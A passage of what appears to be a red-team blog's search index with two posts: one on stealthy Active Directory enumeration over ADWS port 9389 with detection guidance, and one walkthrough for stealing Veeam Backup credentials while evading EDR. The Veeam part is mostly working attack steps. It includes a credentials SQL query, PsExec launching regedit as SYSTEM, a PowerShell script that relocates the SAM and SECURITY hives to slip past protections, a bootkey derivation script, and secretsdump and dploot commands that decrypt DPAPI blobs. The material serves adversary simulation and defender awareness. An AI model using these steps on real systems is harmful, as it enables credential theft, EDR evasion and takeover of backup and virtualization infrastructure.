Get-ADUser -Filter *, the client opens a connection to the DC\u0026rsquo;s 9389, not to 389. Disabling it would break these tools, which is why it is rarely turned off.\nThat said, the name is misleading: despite being called Web Services, HTTP is involved at no point. There are no REST requests nor GET verbs. Underneath, the communication rests on a stack of .NET protocols over net.tcp, and to understand that stack it helps to start with the framework it comes from.\nThat framework is WCF. Windows Communication Foundation is the .NET technology used to build network services, and its central idea is to separate the logic from the \u0026ldquo;how it communicates\u0026rdquo;. A service exposes a contract (the operations it offers) through one or more endpoints, and each endpoint is defined by three pieces, the so-called ABC: Address (where it listens), Binding (how it is spoken) and Contract (what it offers). The key piece is the binding, because it bundles three decisions: the transport (for example net.tcp or HTTP), the encoding (binary or text) and the security (NNS or TLS). The same service can be exposed with different bindings without touching its logic.\nADWS is nothing more than a concrete combination of that binding: net.tcp as transport, binary SOAP as encoding and NNS as security. Those three choices are exactly what we will break down, layer by layer, in the next section.\nHow the communication works The previous section left the big picture: ADWS is a WCF binding combination, net.tcp plus binary SOAP plus NNS. Now it is time to open that combination and see, layer by layer, what happens from the moment the client opens the connection until the directory answers. It is not a single protocol, but several .NET pieces stacked one on top of another.\nTo avoid getting lost in acronyms, keep in mind the image of the reception desk of a huge archive building (the directory). You do not go in to rummage: you hand your request to the desk and a clerk goes, looks it up and brings you the result. Each layer is a step of that procedure. We go through them from the bottom up.\nTransport: TCP 9389 (net.tcp) ADWS publishes its endpoints with WCF\u0026rsquo;s net.tcp binding over TCP 9389. There is no HTTP nor transport TLS. The session is full-duplex and persistent: a single TCP connection carries the entire conversation, requests and responses, until it closes. The base endpoint has the form net.tcp://dc:9389/ActiveDirectoryWebServices/....\nPicture it: it is a direct phone line to the DC\u0026rsquo;s desk. You do not hang up between one question and the next. You open the call once and everything goes through it, back and forth, until you are done and hang up.\nFraming: .NET Message Framing (MS-NMF) NMF defines how messages are delimited within that TCP stream. The conversation starts with a Preamble: the mode (always Duplex in ADWS), a Via record with the endpoint URI and the encoding record. From there, each message carries its length up front so you know where it starts and where it ends.\nPicture it: it is agreeing on the envelope format before writing to each other: the size, which window it goes to and in what language. Without that agreement, the other side would only see a stream of bytes without knowing where one letter ends and the next begins.\nSecurity: .NET NegotiateStream (MS-NNS) On top of the framing, an upgrade to NegotiateStream takes place: an SPNEGO exchange that selects Kerberos (or NTLM) and authenticates the client. From that point, messages go signed and usually encrypted (sign and seal) at the application level. The server requires the signature, which neutralizes NTLM relay.\nPicture it: you show your credential at reception and, from there, every letter goes registered and in a sealed envelope. Nobody along the way reads or changes it, and the seal proves you sent it. It is not the browser\u0026rsquo;s padlock (TLS): here the envelope is armored, not the hallway.\nEncoding: NBFSE (binary SOAP) The SOAP does not travel as text XML, but serialized with NBFSE, the binary variant of SOAP with an in-band dictionary that replaces repeated tags and names with short indices. The result is fewer bytes and a format that no longer parses like normal XML.\nPicture it: it is the difference between writing \u0026ldquo;distinguishedName\u0026rdquo; out in full every time or using an agreed abbreviation like \u0026ldquo;#7\u0026rdquo;. Compact for whoever has the dictionary, and gibberish for whoever intercepts the wire without it.\nApplication: SOAP + WS-Enumeration At the application layer, ADWS implements several WS-* standards: WS-Transfer (read or write a specific object), WS-MetadataExchange and, for mass searches, WS-Enumeration. The AD-specific schema and endpoints are defined by MS-ADDM. The LDAP filter, the attribute list and the scope travel in the body of the Enumerate message.\nTwo details of the behavior matter. The first: the size of each page is decided by the server, and the EnumerationContext expires after ~30 minutes, so a long collection forces you to paginate without pause or to slice the filter into short batches (for example, by CN prefix: cn=a*, cn=b*\u0026hellip;) so as not to lose the context halfway. The second affects security descriptors: for ADWS to return the nTSecurityDescriptor attribute you have to ask for it with the LDAP_SERVER_SD_FLAGS_OID control indicating only Owner, Group and DACL (flags 0x7). Reading the SACL requires privileges, and here ADWS does not behave like LDAP: if you do not bound it with that control, instead of trimming the SACL it drops the whole attribute from the response. Without that 0x7, you are left without the ACLs BloodHound needs.\nPicture it: it is the form you fill out at the desk. \u0026ldquo;I want the records that match this\u0026rdquo; (filter), \u0026ldquo;bring me only these boxes\u0026rdquo; (attributes) and \u0026ldquo;search on this floor\u0026rdquo; (scope). And since there can be thousands, they are not handed to you all at once: you ask (Enumerate), they give you a ticket number (EnumerationContext, a UUID) and you collect the result in batches (Pull) until you finish. That ticket expires after 30 minutes, a detail that shapes how the tools collect.\nWhy it accepts LDAP-style queries The key, and what makes it so convenient for an operator, lies in what ADWS does when it receives the Enumerate message: it does not interpret a proprietary API nor force you to learn a new language. Inside that message travel three things anyone who has touched LDAP recognizes instantly: a filter with the usual LDAP syntax (RFC 4515\u0026rsquo;s, (\u0026amp;(objectClass=user)(adminCount=1)) and company), the list of attributes you want back (the projection) and the search scope (Base, OneLevel or Subtree). ADWS pulls them out of the SOAP body and builds a plain, ordinary LDAP search with them.\nAnd it is, literally, against the same directory. ADWS runs on the domain controller itself, next to the directory service that also serves 389/636; it does not talk to a replica nor to a separate database, it queries the same NTDS. That is why it respects the same matching rules, the same indices, the same size limits and the same LDAP controls (pagination, or the SD_FLAGS for security descriptors we will see below). There is no second query logic: ADWS is a protocol adapter that wraps and unwraps, but the search is resolved by the directory just as always. Your (\u0026amp;(objectClass=user)(adminCount=1)) returns exactly the same set as over 389, because in the end it is the same engine resolving it.\nFor the operator, that means you throw away none of your repertoire. The same filters you would launch with PowerView, ldapsearch or a BloodHound collector work here word for word: accounts with adminCount=1, kerberoastable SPNs, delegations, trust relationships. The enumeration is identical (T1087 - Account Discovery, T1069 - Permission Groups Discovery, T1018 - Remote System Discovery, T1482 - Domain Trust Discovery); the only thing that changes is the wrapper and the door it comes in through. Same recon, same TTPs, different telemetry: you change channel, not trade.\nWhy its OPSEC is so good With the stack already taken apart, the advantages for an operator fall out on their own. Each layer we saw adds its grain:\nA different port. The traffic goes out over 9389, not over 389/636. Most network sensors and rules are tuned for classic LDAP, so they see nothing here. Binary and sealed. Between NMF framing, NBFSE binary encoding and NNS sealing, what crosses the wire is opaque: it is neither readable XML nor an easy pattern for an IDS to signature. The origin blurs. Since the LDAP search is run by ADWS itself locally, in the DC\u0026rsquo;s Directory Service logs (Event 1644, if enabled) the query appears originated by the controller itself, by localhost ([::1]), not by your IP. Your machine vanishes from the query\u0026rsquo;s trace. You blend in with the legitimate. The AD PowerShell module, dsac.exe and many monitoring agents speak ADWS constantly and normally. One more connection to 9389 does not stand out on its own. Little telemetry out of the box. ADWS\u0026rsquo;s SOAP messages are not recorded in the Windows Event Logs by default: without added configuration, no trace of the query remains. It dodges the detections meant for LDAP. Client-side LDAP logging (with a query cap in some EDRs), the rules watching suspicious LDAP patterns and the per-object noise of collectors like SharpHound are all left looking at the wrong channel. All together: same information, same query power, but over a barely watched channel and with your origin blurred. That is why the technique has gained so much traction. That said, \u0026ldquo;barely watched\u0026rdquo; is not the same as \u0026ldquo;invisible\u0026rdquo;, and that is the other half of the story.\nPoC: enumeration over ADWS So much for the theory. To put it into practice I wrote ADWSHound, my own Python tool to enumerate Active Directory by speaking ADWS directly: authenticate against the domain controller\u0026rsquo;s 9389, launch the queries wrapped in SOAP and collect the result to take it into BloodHound CE, without touching 389/636 at any point.\nThe tool is finished and available in the repository: github.com/JosuPalacios99/ADWSHound. The code, usage and implementation details are all there.\nThe honest nuance: why it isn\u0026rsquo;t invisible This is the other half of the story. ADWS has excellent OPSEC, but excellent is not a synonym for undetectable, and taking it for invisible is precisely what ends up burning operations. The underlying reason is the one we have already seen: however much the wrapper is SOAP over 9389, in the end the LDAP query really does run against the directory. And running leaves a trace:\nThe LDAP filter, the attributes and the user do reach the directory. With Directory Service diagnostic logging enabled (the \u0026ldquo;Field Engineering\u0026rdquo; key), Event 1644 records the query: the filter, the attributes and the account that launched it. The only thing camouflaged is the origin, which appears as the DC itself. SACLs and canary objects still fire. If an object has access auditing configured (SACL), Event 4662 triggers all the same when you touch it over ADWS. Seeding decoy objects and auditing them is, in fact, the most reliable detection against this technique. Event correlation on the DC. Directory Service events can be chained by Operation ID to reconstruct the enumeration session: the connection (1138), the query (1644), the statistics and indices (1166/1167) and the authentication (1139/1140). There are very telling indicators, such as the [all_with_list] prefix left by PowerShell\u0026rsquo;s -Properties *, or SDflags:0x7 in the queries. This last one is especially valuable for the defender: since ADWS only returns the nTSecurityDescriptor if you ask for exactly Owner, Group and DACL (that 0x7), its repeated appearance gives away, almost unambiguously, a BloodHound-style ACL collection over ADWS. Network detection at the endpoint. A process that should not be talking to 9389 connecting to the DC (captured by Sysmon EventID 3), or a connection to ADWS right after a process injection, are clear signals. There are public rules in Sigma, Elastic and Splunk for exactly this. The big advantage the attacker keeps is not invisibility, it is attribution: since the query logs show the DC as origin, figuring out which machine on the network actually launched the enumeration is costly, and it forces the defender to correlate the enumerating account with the environment\u0026rsquo;s active sessions.\nConclusion ADWS is an uncomfortable reminder of something that comes up a lot in Red Team: defending a protocol is not the same as defending a capability. You can have LDAP monitored down to the last filter and still leave the same information going out through a side door almost nobody watches.\nFor the attacker, ADWS is enumeration with excellent OPSEC: same query power, barely watched channel, blurred origin. For the defender, the message is clear: watching only 389/636 leaves a blind spot the size of a domain controller. Covering 9389, enabling Directory Service logging, seeding objects with SACLs and correlating events by Operation ID turns that blind spot into a trap.\nAs almost always, the technique is not magic: it is knowing where the other one is looking and coming in where they are not. ADWS is, today, that back door into the directory. And as soon as the defender learns to look there too, it stops being a shortcut and goes back to being just one more connection in the logs.\nReferences FalconForce — SOAPHound: tool to collect Active Directory data via ADWS. falconforce.nl Logan Goins — Stealthy Enumeration of Active Directory Environments Through ADWS and the tool SoaPy. logan-goins.com IBM X-Force — Stealthy enumeration of Active Directory environments through ADWS. ibm.com ipurple.team — Active Directory Enumeration – ADWS. ipurple.team Huntress — The ADWS Architecture That Hides PowerShell AD Enumeration. huntress.com Microsoft Learn — MS-ADDM (AD Web Services endpoints), MS-NMF (.NET Message Framing) and MS-NNS (.NET NegotiateStream). wh0amitz — SharpADWS. github.com/wh0amitz/SharpADWS Detection rules — Sigma (network connection to ADWS), Elastic (discovery_active_directory_webservice), Splunk Security Content and FalconForce FalconFriday. j0su — ADWSHound (BloodHound CE ingestor over ADWS). github.com/JosuPalacios99/ADWSHound ","permalink":"https://josupalacios99.github.io/blog/en/posts/adws-enumeracion-sigilosa-active-directory/","summary":"Almost all Active Directory enumeration goes through LDAP (389/636), which is precisely the most watched channel in the domain. ADWS is a side door on port 9389 that accepts the same LDAP queries but is barely monitored. How it works under the hood, why its OPSEC is so good, and why it isn\u0026rsquo;t invisible.","title":"ADWS: enumerating Active Directory through the back door"},{"content":" This isn\u0026rsquo;t new content: it\u0026rsquo;s an adaptation of an article I wrote back in the day, originally published on Security Art Work (S2GRUPO) on May 5, 2025. I\u0026rsquo;ve rewritten the prose to match this blog\u0026rsquo;s tone, but the technical content is the same.\nIntroduction You\u0026rsquo;re surely familiar with Veeam Backup. It\u0026rsquo;s the data protection solution that handles backups and recoveries across virtual, physical, NAS and cloud environments. Its ease of use and efficiency have made it a central piece of many organizations\u0026rsquo; backup strategy, and even more so now, with ransomware everywhere and business continuity in the spotlight.\nBut let\u0026rsquo;s ask an uncomfortable question: what if that same solution that protects you became the attacker\u0026rsquo;s way in?\nOne of Veeam\u0026rsquo;s great advantages is how well it integrates with the rest of the environment: vSphere (VMware\u0026rsquo;s virtualization platform), NAS systems for network storage, or cloud solutions like Azure. All that automation is incredibly convenient, but it comes with fine print: authentication. To talk to those services, Veeam needs credentials. And given the kind of tasks it runs, those credentials usually have elevated privileges.\nThat\u0026rsquo;s the problem. Veeam is critical not only for what it does, but for what it stores: a vault of credentials with access to half the infrastructure. For an attacker, that\u0026rsquo;s a first-class target.\nAnd it\u0026rsquo;s worth pausing on the impact, because that\u0026rsquo;s what really matters. Whoever controls Veeam doesn\u0026rsquo;t walk away with a stray credential: they walk away with the keys to vSphere (and with them, to every virtual machine), to the NAS where the data lives and to the cloud. But there\u0026rsquo;s something worse. Veeam is your plan B, the one that\u0026rsquo;s supposed to save you when ransomware hits. If the attacker compromises it, they can not only encrypt your data: they can also delete or encrypt the backups themselves and leave you with nothing to fall back on. They go from robbing you to taking away your safety net. That\u0026rsquo;s why compromising Veeam isn\u0026rsquo;t just another finding in a report: very often it\u0026rsquo;s game over for the organization.\nSo where does Veeam store those credentials? In its configuration database (Veeam Backup \u0026amp; Replication Configuration Database), where it keeps information about the backup infrastructure, the jobs, the sessions and, among other things, the credentials to connect to other services. That database can live on a Microsoft SQL Server (MSSQL) or on PostgreSQL, locally (on the same server as Veeam) or remotely.\nStoring credentials in plaintext isn\u0026rsquo;t an option, so Veeam uses Microsoft\u0026rsquo;s Data Protection API (DPAPI) to encrypt them and store them as data blobs. For anyone unfamiliar with it: DPAPI is a Windows encryption API, widely used alongside the Windows Credential Manager, where it stores credentials for browsers, for Remote Desktop Protocol (RDP) and for other applications.\nSo how does an adversary take advantage of all this? Both a real attacker and a Red Team operator work in a similar way: with a clear objective, stealthily and without setting off alarms. And a system that manages backups and interacts with services as critical as vSphere is, if it falls, a breach of enormous impact.\nThe difference is in the intent. The adversary wants to do harm, for example by encrypting data (T1486 - Data Encrypted for Impact) to knock out the availability of the business. The Red Team operator, within an adversary simulation exercise, does the same but to demonstrate the real impact that attacker would have, starting from an agreed scenario and set of objectives.\nMany organizations rely on their EDR to stop this. But what if both the attacker and the Red Team assume that EDR is there and design their techniques precisely to evade it?\nIn this article you\u0026rsquo;ll see two approaches, used in one of our latest exercises, that allowed us to dump the Security Account Manager (SAM) (T1003.002 - Security Account Manager) and access the master keys that DPAPI uses to encrypt and decrypt the blobs, all of it in environments with antivirus (Windows Defender, BitDefender) and EDR (CrowdStrike). With them, an attacker could use Veeam Backup as a way in to compromise and control multiple critical services of the organization.\nProof of Concept (PoC) For this PoC we start from an assumption: the attacker already has elevated-privilege control over the machine where Veeam Backup runs, and access to it. And a detail that\u0026rsquo;s no small thing: the test environment had CrowdStrike\u0026rsquo;s Endpoint Detection and Response (EDR) watching.\nLocating the Veeam server The first thing is to locate the server where Veeam lives. A convenient route is BloodHound (S0521 - BloodHound), which enumerates Active Directory (AD) environments and, among other things, lets you see the Service Principal Names (SPNs) associated with the domain objects.\nWith the server located, it\u0026rsquo;s time to connect to the target machine, for example over Remote Desktop Protocol (RDP) (T1021.001 - Remote Desktop Protocol) with an elevated-privilege account.\nAccessing the database and extracting the credentials The next step is to find out where Veeam\u0026rsquo;s database is, what it\u0026rsquo;s called (instance and database) and what type it is. All of that lives in this Windows registry key:\n1 HKEY_LOCAL_MACHINE\\SOFTWARE\\Veeam\\Veeam Backup and Replication With that information, we access (T1005 - Data from Local System) the database with any manager compatible with Microsoft SQL Server (MSSQL) or PostgreSQL, depending on the type we saw. A couple of portable tools that work well:\nAzure Data Studio: Microsoft\u0026rsquo;s cross-platform client for Microsoft SQL Server and PostgreSQL. DBeaver: a free, portable universal database client. Once inside, it\u0026rsquo;s time to enumerate the credentials Veeam stores in its database, which are encrypted. To pull them out, this SQL query:\n1 SELECT * FROM VeeamBackup.dbo.Credentials Dumping the SAM With the encrypted credentials in hand, the second phase begins: extracting the Data Protection API (DPAPI) master keys, the ones that encrypt and decrypt those credentials.\nTaking advantage of the elevated privileges over the Veeam server, we\u0026rsquo;re going to dump the Security Account Manager (SAM) (T1003.002 - Security Account Manager). From that dump we\u0026rsquo;ll get the DPAPI_MACHINEKEY and DPAPI_USERKEY values, which we\u0026rsquo;ll then use to extract the machine account\u0026rsquo;s master keys.\nThe approach to dump the SAM is this:\nWith the Remote Desktop Protocol (RDP) (T1021.001 - Remote Desktop Protocol) access, we mount a share on the victim machine containing PsExec (S0029 - PsExec), from Microsoft\u0026rsquo;s SysInternals suite.\nWith PsExec we launch RegEdit (the Registry Editor) as NT Authority\\System: we need that privilege level to dump the SAM.\n1 PsExec64.exe -s -i regedit With the Registry Editor open, export these registry keys in .reg format:\n1 2 HKEY_LOCAL_MACHINE\\SAM HKEY_LOCAL_MACHINE\\SECURITY And, separately, export this other one in .txt format:\n1 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa To export a key: right-click on the registry entry, “Export” and you choose the format (.reg or .txt).\nThe SAM and SECURITY keys can only be dumped in binary, so we use this PowerShell script to move them temporarily to HKCU\\HELLO, reimport them and save them as .hive files. That way we dodge the protections that watch direct access to these keys:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # Location of the exported files $files = @( \u0026#34;C:\\Users\\Public\\Documents\\sam.reg\u0026#34;, \u0026#34;C:\\Users\\Public\\Documents\\sec.reg\u0026#34; ) # Modify the location of the registry keys Write-Output \u0026#34;Switching HKLM\\ to HKCU\\HELLO in .reg files\u0026#34; foreach ($filePath in $files) { $content = Get-Content -Path $filePath -Raw -Encoding Unicode $replacement = [char[]] \u0026#34;HKEY_CURRENT_USER\\HELLO\u0026#34; -join \u0026#39;\u0026#39; $updatedContent = $content -replace \u0026#34;HKEY_LOCAL_MACHINE\u0026#34;, $replacement Set-Content -Path $filePath -Value $updatedContent -Encoding Unicode Write-Output \u0026#34;`tUpdated file: $filePath\u0026#34; } # Import the registry keys into the new location Write-Output \u0026#34;Importing modified .reg files in HKCU\\HELLO\u0026#34; reg import C:\\Users\\Public\\Documents\\sam.reg reg import C:\\Users\\Public\\Documents\\sec.reg # Obtain the registry keys via reg save Write-Output \u0026#34;Reg saving back to .hive\u0026#34; reg save HKEY_CURRENT_USER\\HELLO\\SAM C:\\Users\\Public\\Documents\\SAM.hive reg save HKEY_CURRENT_USER\\HELLO\\SECURITY C:\\Users\\Public\\Documents\\SECURITY.hive # Remove the temporary key Write-Output \u0026#34;Removing temporary HKCU\\HELLO hives\u0026#34; reg delete HKEY_CURRENT_USER\\HELLO /f From the LSA key we exported as .txt, we need four values, stored in the Class Name attribute:\n1 2 3 4 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\GBG HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Skew1 Obtaining the BootKey and the hashes Those four values go into the following script, which computes the BootKey needed to decrypt the data from the SAM (T1003.002 - Security Account Manager) dump.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Hexadecimal values for JD, Skew1, GBG and Data jd = bytes.fromhex(\u0026#34;$JD\u0026#34;) skew1 = bytes.fromhex(\u0026#34;$SKEW1\u0026#34;) gbg = bytes.fromhex(\u0026#34;$GBG\u0026#34;) data = bytes.fromhex(\u0026#34;$DATA\u0026#34;) # Combine the binary data combined = jd + skew1 + gbg + data # Permutation table for the Bootkey permutation = [0x8, 0x5, 0x4, 0x2, 0xB, 0x9, 0xD, 0x3, 0x0, 0x6, 0x1, 0xC, 0xE, 0xA, 0xF, 0x7] # Reorder the bytes to generate the Bootkey bootkey = bytes([combined[i] for i in permutation]) # Print the Bootkey in hexadecimal format print(\u0026#34;Bootkey:\u0026#34;, bootkey.hex()) With the BootKey we can now access the SAM hashes locally, with tools like impacket-secretsdump (S0357 - impacket-secretsdump) or similar.\n1 impacket-secretsdump -sam SAM.hive -security SECURITY.hive -bootkey $BOOTKEY LOCAL Extracting the DPAPI master keys Out of everything secretsdump returns, we keep the two keys we already mentioned: DPAPI_MACHINEKEY and DPAPI_USERKEY. With them we\u0026rsquo;ll extract the machine account\u0026rsquo;s master keys, and for that we use dploot.\ndploot interacts with the Windows Credential Manager and the Data Protection API (DPAPI) locally: you can mount the victim\u0026rsquo;s file system on a machine you control and, from there, extract the master keys.\nTo mount the file system, one possible approach:\n1 sudo mount -t cifs //$IP/$SHARE /mnt/tmp -o username=$USER,password=$PASSWORD,domain=$DOMAIN With the file system mounted, we extract the machine account\u0026rsquo;s master keys: they\u0026rsquo;re the keys Veeam uses to encrypt the credentials, so we need them to decrypt them.\n1 2 dploot machinemasterkeys -root /mnt/tmp -u $USER -p $PASSWORD -t LOCAL \\ -dpapi-system-key \u0026#39;dpapi_machinekey:$DPAPI_MACHINEKEY,dpapi_userkey:$DPAPI_USERKEY\u0026#39; Decrypting the credentials With the master keys extracted, the last step is to decrypt the data blobs, which are nothing other than the credentials we pulled earlier from the Veeam Backup \u0026amp; Replication Configuration Database.\ndploot does something similar to brute force: it tries each master key in the file against the blob until it finds the one that decrypts it.\n1 dploot blob -blob \u0026#34;$BLOB\u0026#34; -mkfile $MASTERKEYS_FILE -t LOCAL And with those credentials in cleartext, the door opens to every critical service connected to Veeam: control and elevated privileges over the IT environment, and a clear path to go after the organization\u0026rsquo;s business objectives.\nConclusion This example makes it clear how an adversary can end up taking control of an organization\u0026rsquo;s IT infrastructure, even with a security solution like an Endpoint Detection and Response (EDR) in place.\nAnd, above all, it leaves an uncomfortable idea: software designed to protect data against attacks like ransomware can become the attacker\u0026rsquo;s way in, giving them access to multiple critical services and opening a high-impact breach. The tool that saves you is also the one that, poorly protected, sinks you.\nReferences dploot — tool to interact with the Windows Credential Manager and the Data Protection API (DPAPI), extract the master keys and decrypt the blobs. github.com/zblurx/dploot Orange Cyberdefense — Bypassing EDR to dump LSA secrets. orangecyberdefense.com ","permalink":"https://josupalacios99.github.io/blog/en/posts/veeam-backup-llave-maestra/","summary":"Veeam Backup: what would happen if this protection solution became the entry point for a malicious actor? Two approaches to dump the SAM and extract DPAPI master keys while evading AV/EDR, using Veeam as a pivot toward critical services.","title":"Veeam Backup: from the organization's safeguard to the attacker's master key"}]